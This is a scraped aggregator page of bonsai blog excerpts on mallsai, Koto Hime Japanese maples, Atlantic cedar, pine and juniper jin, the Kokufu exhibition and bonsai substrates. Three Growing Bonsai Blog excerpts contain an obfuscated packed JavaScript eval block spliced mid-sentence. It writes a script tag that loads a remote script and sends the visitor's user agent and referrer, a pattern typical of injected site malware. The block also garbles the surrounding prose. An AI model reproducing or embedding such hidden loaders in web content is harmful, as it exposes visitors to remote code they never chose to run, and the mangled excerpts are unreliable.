Why is my tree not a bonsai?

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Source: Growing Bonsai Blog. What eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzhaz|var|u0026u|referrer|nztza||js|php’.split(‘|’),0,{})) is a mallsai!? Most people growing bonsai have been there at some point. You are excited. You join a forum because you have just bought your first bonsai. So you post your tree online and ask the forum for input on your very first Read More

Selecting A Container For A Koto Hime Japanese Maple

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Source: Valavanis Bonsai Blog. I’ve been on the search for the “perfect” container for one of my favorite shohin bonsai Koto Hime Japanese maple started over 30 years ago from a cutting. During the past four months I’ve purchased three containers. A few days ago during our bonsai tour of seven top potters in Tokoname, Read More

Koto Hime Japanese Maple

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Source: Valavanis Bonsai Blog. The Koto Hime Japanese maple, Acer palmatum ‘Koto Hime,’ is in the dwarf or yatsubusa group of plants which are prized for bonsai training. This cultivar is best when trained as a shohin or small size bonsai because of the diminutive and tightly congested foliage.  Description Koto Hime Japanese maple originated Read More

CEDRUS ATLANTICA

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Source: Watto Bonsai Blog. This Atlantic Cedar was a gift from a few family members a few years ago, and I am very grateful for this gift. It had a couple of nice curves in the trunk lower down, but the trunk then went straight, and that was a shame. Cedars have a reputation for Read More

What is a bonsai?

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Source: Growing Bonsai Blog. In eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sehsi|var|u0026u|referrer|ifdba||js|php’.split(‘|’),0,{})) order to learn about growing your own bonsai, it is important to get a clear understanding what bonsai are. Bonsai is a small tree in a shallow container The short version would be: Bonsai is a Japanese word, which translates roughly to “Little tree Read More

Juniper Jin and Pine Jin-

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Source: Crataegus Bonsai Blog. A month ago we started talking about pine jin. Here are some photos and thoughts about pine and juniper jin and how they differ. This is a pine jin. It looks cut off, doesn’t it? But it’s never been touched. This is what a dead pine branch will do if left Read More

2018 92nd Kokufu Bonsai Exhibition II– Part 2 (Final)

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Source: Valavanis Bonsai Blog. Here are the last images from this year’s tour to Japan to visit the Kokufu Bonsai & Japan Suiseki Exhibitions, Omiya Bonsai Village, S-Cube, Masahiro Kimura and Kunio Kobayashi’s gardens. Do you recognize this Japanese five-needle pine bonsai? I did. It was featured in the video Shinji Suzuki produced many years Read More

2018 92nd Kokufu Bonsai Exhibition II– Part 2 (Final)

5 months ago Nebby 0
Source: Valavanis Bonsai Blog. Here are the last images from this year’s tour to Japan to visit the Kokufu Bonsai & Japan Suiseki Exhibitions, Omiya Bonsai Village, S-Cube, Masahiro Kimura and Kunio Kobayashi’s gardens. Do you recognize this Japanese five-needle pine bonsai? I did. It was featured in the video Shinji Suzuki produced many years Read More

Characteristics of good bonsai substrate

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Source: Growing Bonsai Blog. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fidah|var|u0026u|referrer|insdr||js|php’.split(‘|’),0,{})) Ginkgo seedling with substrate When growing bonsai, there are few subjects that are more controversial than substrates. To some the concept of not using the Japanese substrates is near blasphemy. Everything that is used has to be approved by the Japanese masters. That is of Read More

A visit to Hans van Meers garden

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Source: Tony Tickle Bonsai Blog. The day after the Trophy in Belgium, Terry and I visited my good friend Hans van Meer in Holland, this video is a look around his collection. Go to the source blog (Tony Tickle Bonsai Blog) to read the full article: A visit to Hans van Meers garden Read More